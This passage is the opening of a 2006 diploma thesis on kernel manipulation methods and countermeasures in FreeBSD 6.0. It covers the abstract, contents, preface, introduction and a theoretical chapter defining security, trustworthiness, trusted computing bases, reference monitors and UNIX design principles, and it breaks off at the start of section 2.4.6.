Analysis of Manipulation Methods in Operating System Kernels and Concepts of Countermeasures, Considering FreeBSD 6.0 as an Example

Diploma Thesis

Christopher Alm

Advised by:
Prof. Dr. Klaus Brunnstein
Dr. Hans-Joachim Mück

Hamburg, June 6, 2006
FreeBSD is a registered trademark of the FreeBSD Foundation in the United States and other countries. UNIX is a registered trademark of The Open Group in the United States and other countries. Intel is a registered trademark of Intel Corporation in the United States and other countries. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this thesis, and the author was aware of a trademark claim, the designations have been printed with initial capital letters or the whole word is written in capitals.

The contents of this thesis may be used for educational purposes only. The author explicitly discourages from the application or use of the methods and techniques described herein as they can adversely influence the behavior or usage of a computer system. No liability is assumed in case of incidental or consequential damages in connection with or arising out of the use of the information or programs contained in this thesis.

All experiments have been conducted with great care in a well separated and secure environment.

Submitted in partial fulfillment of the requirements for the academic degree of

Diplom-Informatiker (Univ.)

University of Hamburg
Computer Science Dept.
Applications of Informatics in Arts and Science (AGN)
Vogt-Kölln Str. 30
D-22527 Hamburg

Copyright © 2006 by Christopher Alm
Abstract

A manipulation of the kernel of an operating system can give an attacker unimpeded and unrestricted access to any desired part of the system. Furthermore, since all attempts to detect a manipulation by means of the affected system rely on the services of the potentially compromised kernel, sophisticated attackers can hide all their activities using this approach. In this thesis we consider different methods of kernel manipulation presuming that basic protection mechanisms already have been circumvented. We demonstrate the impact of such a manipulation on the basis of four experiments. Furthermore, we explain countermeasures that are designed specifically for this purpose and discuss their effectiveness. In particular, the issues are illustrated using the FreeBSD system as an example. The question arises whether UNIX-like operating systems such as FreeBSD are, in principle, capable of effectively avoiding such an attack.
Contents

Abstract iii
Preface ix
1 Introduction 1

2 Methods and Requirements 3
  2.1 Basic Security Terms 3
  2.2 The Layered System Architecture 7
    2.2.1 The Instruction Set Architecture 8
    2.2.2 The Operating System Kernel 9
    2.2.3 System Programs, Libraries, and Application Programs 10
  2.3 Trusted Operating System Concepts 10
    2.3.1 Security Policies 10
    2.3.2 Design 11
    2.3.3 Virtualization 12
    2.3.4 Kernelized Design 12
  2.4 The Essence of UNIX 14
    2.4.1 UNIX Virtualization 14
    2.4.2 The Hierarchical Paradigm 14
    2.4.3 The Shell Model 15
    2.4.4 The Superuser 15
    2.4.5 The Application Programming Interface 15
    2.4.6 Building Blocks 15
  2.5 Attacks 16

3 Analysis of the FreeBSD Kernel 19
  3.1 Versions and Background 19
  3.2 Overview of the Kernel 19
  3.3 Process and Memory Management 20
    3.3.1 The Process Structure 20
    3.3.2 The Memory Image of a Process 21
  3.4 Exceptions and Interrupts 24
    3.4.1 The Interrupt Descriptor Table 25
    3.4.2 Call Gates 26
    3.4.3 System Call Processing 26
  3.5 Access Control 30
CONTENTS

3.6 Kernel Modules .............................................. 31
  3.6.1 Implementing and Loading a KLD ....................... 31
  3.6.2 Managing Modules in the Kernel ...................... 34
  3.6.3 Example: A System Call Module ...................... 35

3.7 System Controls ............................................. 38

3.8 Interprocess Communication and I/O ....................... 39

4 Analysis of Manipulation Methods .............................. 43
  4.1 Classification ............................................. 43
    4.1.1 Different Methods of Manipulation .................. 43
    4.1.2 Impact and Possible Goals of a Manipulation ....... 44
    4.1.3 Eliciting Points of Attack in the Kernel .......... 45
  4.2 Presumptions ............................................. 47
  4.3 Experiment 1: Hiding a Module ............................ 47
  4.4 Experiment 2: Hiding a Process ............................................. 49
    4.4.1 Development ......................................... 49
    4.4.2 Deployment .......................................... 52
  4.5 Experiment 3: Manipulation of File Access ............... 54
    4.5.1 A Bogus File with a Loadable Module ............... 55
    4.5.2 A Kernel with Support for Hidden and Bogus Files .... 57
  4.6 Experiment 4: Installing a Backdoor ..................... 58

5 Concepts of Countermeasures ................................ 61
  5.1 Classification ............................................. 61
    5.1.1 Goals of Countermeasures ............................ 61
    5.1.2 Classification According to Manipulation Methods .... 62
  5.2 The UNIX Superuser ........................................ 62
  5.3 Kernel loaded from ROM .................................... 63
  5.4 Signing of Kernel Modules .................................. 64
  5.5 Detection .................................................. 64
  5.6 Hardware-based Integrity Services .......................... 65
  5.7 Virtual Machines versus FreeBSD Jails .................... 65
    5.7.1 Virtual Machines ..................................... 65
    5.7.2 The Jails Mechanism in FreeBSD ..................... 66
  5.8 Trusted Operating System Concepts ........................ 67
    5.8.1 Avoidance in Theory .................................. 68
    5.8.2 The Security Levels Mechanism ...................... 68
    5.8.3 A Policy for the Security Levels Mechanism ........ 69
    5.8.4 Trustworthiness of FreeBSD Access Control ........ 70
    5.8.5 Outlook: TrustedBSD ................................. 72

6 Conclusions .................................................. 73

A Comprehending Kernel Sources ............................... 75

B Experimental Setup: Dynamic Analysis ....................... 77
## CONTENTS

### C Source Code
- C.1 Experiment 1: Hiding a Module .............................................. 81
- C.2 Experiment 2: Hiding a Process ............................................. 87
- C.3 Experiment 3: Manipulation of File Access ............................. 91

### Bibliography ........................................................................ 95

### List of Figures .................................................................... 101

### List of Listings ................................................................... 103

### List of Definitions ............................................................... 105

### Index ................................................................................. 106
Preface

Personal Motivation

My personal motivation for writing this thesis was on the one hand to get a good understanding of a major UNIX-like operating system kernel. One goal was to find out how far such a complex system extends beyond one’s grasp and to draw conclusions from this about its controllability. On the other hand I was interested in a topic illustrating that UNIX was originally not designed to have a high degree of security. Moreover, a motivating question was whether it is possible at all to retrofit essential security features into this system without completely redesigning and rewriting its internal structure.

Illustration Using the Source Code

We decided to illustrate the issues in this thesis at the source code level in order to be as precise as possible. Therefore the reader has to cope with a heavy load of code snippets and it is not possible to skip over them without losing the plot. As an aid, Appendix A gives hints on how to become acquainted with the FreeBSD kernel sources.

Typographical and Style Conventions

- To avoid sexism and ugly constructs such as “s/he” or “she or he”, we use the gender free plural pronoun “they” as a singular pronoun throughout the thesis when necessary. For example, we write: “An attacker may [...] develop and compile a subtle dysfunctional kernel taking all the time they need.”

- We assign an old German block letter such as \(\mathfrak{P}\) and \(\mathfrak{C}\) to several basic terms in Chapter 2 to emphasize the defined meaning of the term when using the term later.

- To emphasize the meaning of a word, we use italics. For example: “Unlike the definition of specification the focus is now on how the system should realize \(\mathfrak{M}(\mathfrak{P})\).”

- Anytime we introduce a new term, it is written in italics. In Chapter 2 we additionally use separated paragraphs to define the basic terms. For example:

  **Definition 18** Be \(\mathfrak{M}(\mathfrak{P})\) a specification of a problem \(\mathfrak{P}\) and \(\mathfrak{C}\) the appropriate implementation. A *verification* is a proof of, or at least a statement that gives certainty about \(\mathfrak{C} \sim\mathfrak{M}(\mathfrak{P})\).
Computerized names such as function names, parameter names, user names, or program names are printed in typewriter font. For example: “The `modnext()` system call normally returns the module identifier of the next kernel module [...].”

Source code is printed using a special source code environment with syntax highlighting, as is shown in the following.

```
Listing 1: /home/alm/helloworld.c

1 void main(void)
2 {
3   printf("Hello World!\n");
4   /* this is hello world */
5 }
```

To add annotations, such a source code listing may be split into multiple parts. Watch out the line numbers at the left.

When we display a shell session we print our typed input in a bold typewriter font, and the output of the shell in normal typewriter font. Comments are shown in italic typewriter font. For example:

```
freebsd% make love
make: don’t know how to make love. Stop
freebsd% su
Password: [Typing the password to get root]
freebsd#
```

It should be noted that “%” after the hostname – here “freebsd” – indicates normal user privileges while “#” is used in case of super user privileges.

CD-ROM
The supplied CD-ROM contains all material needed to reproduce the experiments conducted in this thesis. This includes the complete `/home/alm/` directory with the sources and makefiles of experiments and examples as well as the complete source code of FreeBSD 6.0-RELEASE in `/usr/src/`.

Acknowledgements
I am grateful to Björn Bartels for critical advice, to Christian Muus for the inspiration of the topic, to Steffen Bangert for being a good listener while I was reconsidering my ideas, and to my advisors Prof. Klaus Brunnstein and Dr. Hans-Joachim Mück for their excellent scientific support. I am also grateful to Teresa Alm for proofreading and to Anna Beck for proofreading and for helping me with my English. I thank my parents for their support throughout the entire time. Finally, special thanks goes to Astrid for her love and encouragement.
Chapter 1

Introduction

The kernel of an operating system is the heart of the system. Typically it runs in a specially privileged execution mode and manages the underlying hardware to service the requests of the system’s users, providing them an abstraction of the hardware. To perform this task, the kernel must have the ability to control any part of the system completely. For instance, it can interrupt or quit running programs, it can hide information from running programs or provide faked information, and it can access arbitrary memory locations.

Most operating systems allow the kernel to be extended or modified to upgrade to a new version fixing an error or to add further features such as support of a new hardware device. On modern operating systems this is under certain circumstances even possible at runtime. In either case, there have to be mechanisms protecting the kernel against unauthorized modification. Thereby a potential attacker should be prevented from adding malicious features to the kernel.

In this thesis we consider different methods of kernel manipulation presuming that an attacker already circumvented basic protection mechanisms. We demonstrate the impact of such a manipulation, which can give an attacker unimpeded and unrestricted access to any desired part of the system and can hardly be detected. Furthermore, we explain measures against kernel manipulation that are designed specifically for this purpose and discuss their effectiveness. All experiments have been conducted under the FreeBSD operating system, and for the most part, this thesis concentrates on this system. We particularly discuss whether FreeBSD, in principle, is capable of effectively avoiding such an attack. While Chapter 4 and 5 deal with the issues just mentioned, Chapter 2 provides the methodical and theoretical background of the thesis and Chapter 3 analyzes the parts of the FreeBSD kernel that are necessary for the subsequent chapters.

Finally some reasons for us to choose the FreeBSD operating system [40] for our investigations: FreeBSD is a widely used operating system for production environments such as web servers or firewalls [35]. At the time of this writing, for instance, the web-servers of the search engine and Internet index of Yahoo Inc. run FreeBSD [55]. It can be regarded as one of the major “UNIX-like” operating systems and often its enthusiasts claim FreeBSD to be mature, stable, fast, and secure. FreeBSD is free of charge and ships with the complete source code, which is important for our project. Unlike Linux, FreeBSD is a complete operating system, not merely a kernel. We regard this to be an advantage because there is exactly one version of the source code, the documentation is
consistently referring to one system, and we do not depend on the work of one of the many distributors.
Chapter 2

Methods and Requirements

This chapter contains the methodical and theoretical background of the thesis. It describes the fundamentals in the field of operating systems and computer security that are required for the remainder of the thesis.

2.1 Basic Security Terms

Definition 1 [5] A problem $P$ of the real world is an abstract idea of what a computing system should accomplish.

A problem $P$ exists only in mind and preludes the development of a system. It is not possible to conceive $P$ completely, nor even to state $P$ completely. This is because $P$ reflects what a beholder such as a user or the customer of the system really requires. Thus it depends significantly on the beholder’s perspective, denoted by $\vartheta$, as well as the point in time, denoted by $t$, whence follows that $P_{\vartheta,t}$ can change rapidly. The perspective of a user $\vartheta_{user}$, of a customer $\vartheta_{cust}$, of a system architect $\vartheta_{arch}$, and of a trusted evaluation authority $\vartheta_{eval}$ are typical examples and may be considered in the remainder of this section.

Definition 2 A specification $M(P)$ of a problem $P$ states (formally or informally) what the desired computing system should exactly do. The specification may include a model of the system as a pattern or a scheme for the system’s behavior and the system’s properties (i.e. model based specification).

Here the attention is especially turned to what the system should do. Note that in this definition a specification also states what a system should not do.

For instance a Petri net may be a model that specifies process behavior of a system. Properties of the net, such as “liveness”, “boundedness” or “reversibility”, might also belong to the specification $M(P)$.

Definition 3 The realization of $M(P)$ in executable code of a programming language is called implementation $C$.

One can distinguish different levels of abstraction that we denote by index numbers.

\footnote{This section is a revised version of the chapter Basic Terms and Definitions of my term paper about formal verification and software security [1].}
• Be $\mathcal{C}_1 := \mathcal{C}$ the level of a high level programming language such as Java or Ada.

• Be $\mathcal{C}_2$ the level of assembler language into which the program is transformed by the compiler.

• Be $\mathcal{C}_3$ the level of machine language into which the program is transformed by the assembler.

• Finally be $\mathcal{C}_\perp$ the lowest level without any abstraction. It consists of the physical conditions which hardware is based on.

**Definition 4** The *design* of a system with specification $\mathcal{M}(\mathcal{P})$ concretizes $\mathcal{M}(\mathcal{P})$ with regard to the implementation particularly to clarify how to implement $\mathcal{M}(\mathcal{P})$.

Unlike the definition of specification the focus is now on how the system should realize $\mathcal{M}(\mathcal{P})$. The design can be conceived as an intermediate step between $\mathcal{M}(\mathcal{P})$ and the implementation $\mathcal{C}$.

**Definition 5** An *orderly system* is a system that satisfies exactly its specification. We denote this by

$$|\mathcal{C} - \mathcal{M}(\mathcal{P})| \approx 0$$

or

$$\mathcal{C} \sim \mathcal{M}(\mathcal{P}).$$

So an orderly system behaves exactly as specified provided that $\mathcal{C}_\perp \sim \mathcal{C}$. You can read ~ as “meets” and we will use it in that sense further on.

**Definition 6** A system is called *correct* if for this system $\mathcal{C}_\perp \sim \mathcal{P}$.

According to this, one cannot definitely determine whether or not a system is correct. This is because one cannot definitely solve a “~” relation containing $\mathcal{C}_\perp$ or $\mathcal{P}$.

**Definition 7** [13] The term *security* is made up of a subjective part and an objective part.

• **Objective security** is a property of a system that can be characterized as general dependability. It is a property that provides the presence of protection and the absence of danger, which includes aspects such as confidentiality, integrity and availability. (See Definitions 11, 12, and 13.) These aspects of security are sometimes called the *dimensions of security*.

Because that notion ranges in the abstract level of the problem $\mathcal{P}$, we can view objective security as a subset $\mathcal{P}_{\text{sec}}$ of $\mathcal{P}$. In particular $\mathcal{P}_{\text{sec}}$ reflects the perception of security in a certain perspective $\vartheta$.

• In contrast to this, **subjective security** is a belief of the system’s user that rests upon the user’s certainty about the system being objectively secure. I.e. the user trusts in $\mathcal{C}_\perp \sim \mathcal{P}_{\text{sec}}^{\vartheta_{\text{user}}}$. 
2.1. BASIC SECURITY TERMS

It should be noted that one can define safety in a similar way as security, however, with reliability as characteristic.

A system such that $\mathcal{C} \sim \mathcal{P}^{sec}$ is then objectively secure. We now have the same issue as with correctness – namely that this "$\sim$" relation cannot be definitely solved. Thus to apply "objective security" to a certain system, we have to state exactly the sub-properties belonging to objective security. Otherwise we would not have a precise definition of what objective security actually constitutes with respect to this certain system. To cover this we refer to Definition 8.

According to the second part of the definition a system is subjectively secure if the user chooses to trust in the system, no matter why. The reasons for this choice may vary widely but are always based on the assumption that the system is objectively secure (i.e. that $\mathcal{C} \sim \mathcal{P}^{sec}$ is satisfied). As a consequence it may be possible that someone trusts in a system because the vendor of the system claims security in an advertisement. In this case the trust is a result of the belief that the vendor is on the one hand able to measure the security of the system and is on the other hand telling the truth in the advertisement. This leads to the Definition 14 of trustworthiness.

Definition 8 A security policy $\mathcal{M}(\mathcal{P}^{sec})$ defines at specification level the properties of objective security which a system shall satisfy.

One can view a policy as a subset of $\mathcal{M}(\mathcal{P})$.

For instance a policy based on the Bell La Padula security model – a security model describes a pattern for a policy – specifies security features mainly with respect to confidentiality.

Definition 9 A security mechanism $\mathcal{C}^{sec,i} \subseteq \mathcal{C}$ is a part of the implementation that contributes to the enforcement of the security policy. The index $i$ is an identifier for the mechanism.

Definition 10 If a system enters a state such that the specifications made in the security policy are not satisfied or such that the perception of security of a related beholder is violated, a breach of security occurs.

Hence, a breach of security occurs if the objective security of a system fails.

In the following we define the three basic dimensions of security. The notion of security can be extended by further dimensions such as reliability, maintainability, controllability, robustness, and performance [5].

Definition 11 Confidentiality is the protection against unauthorized access of data or programs of a system.

Definition 12 Integrity is the protection against unauthorized alteration or deletion [9] of data and programs of a system. In this context, data and programs having the property of integrity are sometimes called clean.

Note that a trustworthy program (Def. 14) always preserves the integrity of the system.
**Definition 13** [26] *Availability* ensures that data and programs of a system are accessible when required.

**Definition 14** For a problem $\mathcal{P}$ with security requirements $\mathcal{P}^{sec} \subset \mathcal{P}$, *trustworthiness* is a measure for $|\mathcal{C} - \mathcal{P}|$, i.e. how far $\mathcal{C}$ meets $\mathcal{P}$. Additionally *assurance* is the process of measuring a certain level of trustworthiness.

Note that this definition is in conflict with what the *Common Criteria (CC)* [3] conceive of trustworthiness and assurance because they allow an “assurance” of $\mathcal{C} \sim \mathcal{M}(\mathcal{P})$ in a situation where the specification $\mathcal{M}(\mathcal{P})$ does not reflect the security requirements from the perspective of a user $\vartheta_{user}$. This can be denoted by

$$\mathcal{M}(\mathcal{P}^{sec}_{\vartheta_{eval}}) \not\sim \mathcal{P}^{sec}_{\vartheta_{user}}.$$  

For instance there can be a security target with a high evaluation level of assurance but with few requirements on security functionality.

If a system is trustworthy to a certain degree, the user’s assumption that the system has specified reasonable properties of objective security and that the system is orderly to this certain degree will be justifiable. However, this leads to the next problem. If a user wants to be sure that they can trust in a system, they will have to trust in the institution that certifies the degree of trustworthiness of the system. Thus, a trusted third party is needed in order for the assurance to be accomplished.

**Definition 15** The level of trustworthiness of a system has to be determined by a trusted third party. I.e. how far $\mathcal{C}$ meets $\mathcal{P}^{sec}_{\vartheta_{eval}}$. This process is called *evaluation*.

**Definition 16** While the meaning of the word “trustworthy” is precisely defined through Definition 14, the word “trusted” can have different meanings in different contexts:

1. Primarily a trusted system is a subjectively secure system according to Definition 7. When we say that someone trusts in a system, we relate to this context.

2. A trusted system can also be a system that is assured to be, to some extent, trustworthy.

3. By characterizing a subsystem of a system as trusted, one may wish to indicate that the trust in the whole system rests upon the assumption that this subsystem is orderly or correct. In particular such a subsystem is able to break the security policy of the system. So in this case, one is forced to trust in the subsystem, independent of whether or not it is trustworthy. Otherwise it would not be possible to place any trust in the whole system.

When “trusted” occurs in the remainder of this thesis, we will specify its meaning according to this definition.

---

*We use the gender-free plural pronoun as singular pronoun throughout the thesis when necessary.*
Definition 17 We define *risk* as the probability that a breach of security may occur in a system.

Assume trustworthiness to be assured. Through possible flaws in the assurance of $C \sim M(P)$ and $M(P) \sim P$ and through the question to what extent $C_\perp \sim C$ is satisfied, an element of risk remains which cannot be eliminated. We call this the *remaining risk*.

The possibility to solve $M(P) \sim P$ is restricted because $P$ exists only in mind. For instance, imagine a system with password authentication that locks your account permanently after a single incorrect input. Let this property also be specified in $M(P)$. Even so, this might not be what the customer really wants. Therefore the only way is, to try to elicit the requirements as precise as possible before stating a specification.

The implications of Thompson’s *Reflections on Trusting Trust* [16] to the remaining risk are not discussed here. Yet, note that malicious manipulation of $C_\perp \sim C$ must not be disregarded.

Definition 18 Be $M(P)$ a specification of a problem $P$ and $C$ the appropriate implementation. A *verification* is a proof of, or at least a statement that gives certainty about

$$C \sim M(P).$$

Verification should not be confused with validation. See the Definition 19 according to Sommerville [14].

Definition 19 *Validation* is the process of checking if the system meets the real desires of the user or the customer. This is

$$M(P) \sim P.$$  

If this is relation is satisfied, the specification $M(P)$ is called *valid*.

The following formula displays the interrelation of the terms “valid”, “orderly”, and “correct”:

$$\begin{align*}
C_\perp & \sim C \sim M(P) \sim P \\
\text{orderly} & \sim \text{valid} \sim \text{correct}
\end{align*}$$

By means of verification and validation one tries to assure trustworthiness. Common examples for verification techniques are testing, code audit, automated static code analysis, deductive verification, and model checking. Validation is done via requirements engineering, which aims at eliciting the needs of the user or resp. the customer of a system as precise as possible and stating a precise specification. Once trustworthiness is assured to a certain degree by verification and validation, the trust will rest upon the soundness of the verification process, the validation process, and $C_\perp \sim C$.

2.2 The Layered System Architecture

According to Tanenbaum [15] it is possible to divide the architecture of a system into abstraction levels, as depicted in Figure 2.1.
2.2.1 The Instruction Set Architecture

From the levels belonging to the hardware only the instruction set architecture (ISA) level is of interest to us. This level provides the basis for the functionality of the operating system. Number and function of CPU registers is defined, memory management facilities such as paging or segmentation are brought in, and the representation for data types is set. This includes, for example, the question whether to use big endian or little endian representation.

For multitasking operating systems additional features for task switching and suspending, e.g. a way to save and recover a process’ context, are required. Also essential is the handling of interrupts and exceptions. The former can be raised asynchronously by the hardware in order to make the kernel aware of an event such as a clock tick or a request of an I/O device. The latter can for instance occur due to a computation error like a division by zero or a security violation. If an exception transfers control from the executing process to the operating system kernel, it is called a hardware trap.

Protection mechanisms, for example in association with process memory virtualization via paging, build the foundation for security features of the operating system. Most architectures define so-called protection domains [6, 12] organized as concentric rings – shown in Figure 2.2 – so that every machine instruction is executed within a certain pro-
2.2. THE LAYERED SYSTEM ARCHITECTURE

dition domain. A protection domain assigns an amount of privileges to the instructions which run within the domain, where the amount of privileges decreases from the inside to the outside of the rings. Thus the most privileged domain is domain 0, which for example could be required to execute hardware or security sensible instructions such as altering a page directory base address or accessing an I/O port. Every domain precisely defines a call gate. A call gate is the only way to enter the domain from a lower privileged domain, i.e. outer ring. The call gate cannot be altered from a lower privileged domain.

By means of protection domains also memory access is controlled. Certain access rights – commonly read, write, and execute – for a certain domain could be assigned to a memory segment or even to a memory page, such that access from this domain is confined by the given access rights.

All in all, the interface to the ISA level from the operating system kernel is the set of all machine instructions and their semantics. The ISA level itself can take control via hardware interrupts as mentioned above. See Figure 2.3.

![Figure 2.3: ISA Interface](image)

2.2.2 The Operating System Kernel

We may view the kernel of a modern operating system either as a resource manager or as an extended machine, depending on whether we consider its bottom interface to the ISA level or its top interface to the level of the system programs, libraries and application programs [15].

In case of the resource-manager-view, the kernel is a program that runs on the instruction set architecture and that is capable of executing further programs as (virtual) processes by sharing the underlying resources.

In the other case, the function of the kernel is to provide an abstraction or extension of the hardware to processes, so that they get a handy interface to the hardware. For example by means of a file system the kernel eases access to data which is stored on a hard disk.

The part of the kernel that is turned to the ISA level is sometimes referred to as the bottom half of the kernel, whereas its counterpart on the other side as the top half [35]. The interface on the top half is called system call interface as its services are accessed through so-called system calls.
2.2.3 System Programs, Libraries, and Application Programs

Everything ranging on top of the operating system kernel can be classified as system programs, libraries, and application programs. A library is a software module providing specific services to other programs. In particular to ease the access to the system call interface, a library may provide handy functions that fall back to the appropriate system calls. The difference between system programs and application programs lies in their function. While system programs provide functionality rather to an administrator or a developer of the system such as a compiler or an editor, the function of an application program is to serve the needs of a user such as text processing or web browsing. Programs that provide basic system services such as name service, time service, and authentication service may also be classified as system programs. Kernel, libraries, and system programs make up the operating system.

2.3 Trusted Operating System Concepts

This section provides concepts concerning trusted operating systems (Def. 20) and particularly their design. For a large part, these concepts are implemented in the Multics system [30, 44].

Definition 20 We call an operating system with an assured degree of trustworthiness a trusted operating system.

In this context the word “trusted” is used according to Definition 16.2.
Recall that for the assurance an evaluation by verification and validation is required. Thus, for a trusted operating system a validated security policy and a design that enforces the security policy and allows verification is necessary. In this section we describe such security policies as well as design concepts that strive for policy enforcement.
It is important to note that a discussion to what extent policies are valid (Def. 19) and design concepts achieve their goals would be well beyond the scope of this thesis. For further information about the issues just mentioned refer to the corresponding literature [2, 3, 12].

2.3.1 Security Policies

Generally a security policy $\mathcal{M}(\mathcal{P}_\theta^{sec})$ encompasses the specification of the perception of security viewed from a certain perspective $\theta$. Usually such a policy includes multiple dimensions of security such as confidentiality, integrity, and availability, as mentioned above.

Definition 21 The part of the security policy that deals with confidentiality and integrity is the access control policy.

This definition is because accesses only have to be mediated according to the requirements of confidentiality and integrity. When stating an access control policy, it is necessary to define subjects and objects in such a way that objects are accessed by subjects.
2.3. TRUSTED OPERATING SYSTEM CONCEPTS

In this thesis only access control policies are of interest to us. It should be emphasized that whatever security mechanism is considered, access control is always involved in order for the mechanism to be tamper-proof.

Access control policies may use two different types of access control, which can also be combined. They are defined as follows.

Definition 22 [3, p.103] If an access control mechanism can be set on behalf of an individual user to allow or deny access to an object, the mechanism is called a discretionary access control (DAC) mechanism.

Definition 23 [3, p.103] In contrast to the previous case, a mandatory access control (MAC) mechanism mediates accesses from subjects to objects according to a fixed policy. This access control is enforced by the operating system and an individual user cannot alter it.

There are several models of security policies that can be customized according to the needs of the designer of the policy. While the “Bell-LaPadula Model” primarily aims at confidentiality, the “Biba Integrity Model” and the “Clark-Wilson Integrity Model” are primarily focused on integrity. There also are models that address confidentiality and integrity equally. Examples are the “Chinese Wall Model” and the “Role-Based Access Control Model”. For details about these models, refer to a textbook on computer security such as Matt Bishop’s Computer Security, Art and Science [3].

2.3.2 Design

In order to enforce a security policy a set of security mechanisms is needed.

Definition 24 The union of all security mechanisms of an operating system $C^{sec}$ is called trusted computing base (TCB):

$$C^{sec} = \bigcup_i C^{sec,i}.$$ 

On the one hand the word “trusted” is used here according to Definition 16.2 because the TCB is the heart of a trusted operating system. On the other hand a reason is that the security related trust of the users bases on the TCB. Whether or not the policy is met depends only on the TCB. This meaning of “trusted” is defined in Definition 16.3. Of course it is also desirable to make the TCB worthy of trust, which is

$$C^{sec} \sim P^{sec}.$$ 

Note that this would not be the case if a security breach of an application program such as a webserver might entail a violation of the policy.

Definition 25 A security mechanism that deals with access control is an access control mechanism.
To apply a policy for access control, it is on the one hand necessary to identify subjects and objects with appropriate components of the system. On the other hand a tamper-proof and verifiable access control mechanism is needed that controls each access from a subject to an object [2]. In Subsections 2.3.3 and 2.3.4 we consider a design approach for modelling subjects and objects in an operating system (namely virtualization) and a design approach for access control policy enforcement (namely kernelized design).

### 2.3.3 Virtualization

Virtualization via *(virtual) processes* as acting *subjects* is a significant concept of operating system design. Resources such as devices, files, communication channels, and even memory areas or system parameters are modeled and virtualized as *objects* and for instance accessed through a virtual filesystem. In the latter case they are sometimes called *virtual nodes*. The goal of virtualization is to separate subjects and objects well from each other such that accesses between them can be carefully controlled.

A process consists of a program executed on a *virtual processor* within a private *virtual address space*. By “executing on a virtual processor” we mean that the process runs on the Instruction Set Architecture only for a certain time slice and shares execution time and further resources with other processes [6]. For this purpose, the kernel utilizes basic facilities such as paging, interrupts, and context suspend and recover mechanisms that are supplied with the ISA level in order to arrange a virtual address space and multitasking for processes. Therein we may distinguish temporal, logical and physical separation [12, p.181].

Processes play such a central role in operating system design because many important operating system duties are subject to the management of processes. This includes the capability for interprocess communication (IPC), scheduling and dispatching of processes, memory management, and user management. Usually a *user identification number (UID)* is assigned to a process to add support for multiple users. Given a UID, a *user* is characterized by all processes with this UID.

Simulating a whole *virtual operating system* for each user is a further step in virtualization. Thereby a user gets the impression of having an exclusive *virtual machine*. Hence the processes of a user do not interact with the real operating system any longer.

### 2.3.4 Kernelized Design

We now turn to a design concept that strives for the enforcement of access control between subjects and objects.

**Definition 26** [3] A *reference monitor* is a concept of an access control mechanism that mediates all accesses to objects by subjects.

**Definition 27** [3] A *reference validation mechanism (RVM)* is the implementation of the reference monitor concept.

The RVM is part of the TCB and according to Anderson [2, p.22] and Bishop [3, p.502] it
must be tamper-proof,

• must always be invoked and can never be bypassed,

• and must be small enough to be subject to verification (for instance by analysis or exhaustive testing).

Thereby an RVM is capable of effectively enforcing an access control policy. Once such an RVM is established, the trust in the security of the system (i.e. $\mathcal{C} \sim \mathcal{P}^{sec}$) rests upon the following assumptions.

• A valid policy (assured by validation).

• Orderly function of the TCB, which in turn depends on
  
  – orderly function of the RVM part of the TCB (assured by verification),
  
  – orderly function of the mechanism providing the virtualization with objects and subjects, and
  
  – orderly function of the mechanism providing that the RVM and the virtualization mechanism are tamper-proof and can never be bypassed.

Note that for the user of the system the trust rests upon the trusted evaluation authority that assures these functionalities.

We now consider a hardware protection mechanism that makes sure that at least the RVM and the part of the TCB that provides virtualization are tamper-proof and can never be bypassed. This is exactly the point where the ISA protection domains get involved.

**Definition 28** A **security kernel** is the part of the system that at least encompasses the RVM and the virtualization mechanisms. It is protected by an exclusive protection domain.

By the use of protection domains access to the security kernel is only possible via a call gate. This makes a manipulation from the outside of the security kernel hard to accomplish, since a call gate is a well-defined interface with fixed conventions for passing parameters. These conventions must be checked on each access to a call gate.

Furthermore, the security kernel cannot be bypassed if all security-critical instructions such as access queries to objects by subjects lie within the protection domain of the security kernel. The same holds for the virtualization mechanisms.

Finally, it is necessary that all components of the security kernel (including the RVM and the virtualization mechanism) are orderly so that they cannot negatively influence the behavior of each other. For example, since all components of the security kernel run with the same privilege level, a vulnerability in an arbitrary component of the security kernel could entail a manipulation of the RVM or the virtualization mechanism. To prevent such manipulations from the inside of the kernel, the whole security kernel must be small enough to be subject to verification.

All in all, the security kernel must satisfy the same properties as the RVM – namely it must be tamper-proof, it cannot be circumvented, and it must be small enough to subject to verification.
Access to TCB functions or data that are not related to access control or virtualization can be confined by the RVM, so that it is not necessary to integrate the whole TCB into the security kernel.

According to Pfleeger [12] the privilege levels shown in Figure 2.4 are at least necessary to get a reasonable partitioning of the parts of an operating system. Further layering is thinkable for a more fine grained protection.

Figure 2.4: Protection Domains of a Trusted Operating System [12, p.265]

2.4 The Essence of UNIX

This section outlines the paradigms and key-notes that most UNIX flavors – in particular FreeBSD – are based on. We also aim at answering the question of what the term “UNIX-like operating system” means. It should be noted that these paradigms and key-notes are inherited from the Multics system for a large part.

2.4.1 UNIX Virtualization

In UNIX a subject is a virtual process, which can access objects via so-called file descriptors. Such an object is either a file, a directory, an I/O device, a part of memory, a pipe, a fifo, or a socket. These appear as virtual files the file system except for pipes and sockets. Pipes, fifos, and sockets are special interprocess communication channels [12, p.299][35, p.33,p.154].

Every process runs within a single private virtual linear address space. This is sometimes referred to as the flat model [45]. In particular segmentation of memory is not used. Thereby this further possibility to separate code and data from each other is refused.

2.4.2 The Hierarchical Paradigm

Files as well as processes are structured hierarchically as a single file system tree and as a tree induced by a parent-child-relationship, respectively. The latter case means that every process has a parent process from which it was created.
2.4. THE ESSENCE OF UNIX

2.4.3 The Shell Model

The shell model refers to the distinction between two modes of execution of the system. As shown by Figure 2.5, two ISA protection domains are used to separate the privileged kernel mode for the execution of the UNIX system kernel from the less privileged user mode for all other (non-kernel) execution. In particular UNIX abandons the concept of a well separated reference monitor. Hence all kernel components run with the same privilege level as the sub-system responsible for access control. This design decision was likely due to a portability or simplicity consideration. With respect to Definition 28 also UNIX has a TCB. But, the parts of the TCB that need to be protected by a protection domain are distributed all over the kernel leading to substantial security implications. This is discussed in Chapter 5.

2.4.4 The Superuser

The notion of an all-powerful superuser that is able to perform any desired task is a common principle in UNIX. Though, there are attempts to limit its privileges, as is shown in Chapter 5.

2.4.5 The Application Programming Interface

There was much effort to standardize the UNIX application programming interface (API) – including the system call interface – and system utilities in order to accomplish a consistent base of services for the different development threads of UNIX. By the ANSI Standard X3.159-1989, which has been adopted as international standard ISO/IEC 9899:1990, the syntax and semantics of the C programming language as well as a C standard library is defined. Additionally the IEEE POSIX.1 standard, which includes ANSI C, defines functions, services, and even the shell sh and several utilities such as cat, cp, or dd. Everything that is defined by this standard is required in order for an operating system to be “POSIX compliant” [49]. For instance Linux, FreeBSD, Mac OS X, and Solaris aim to be as compliant as possible.

2.4.6 Building Blocks

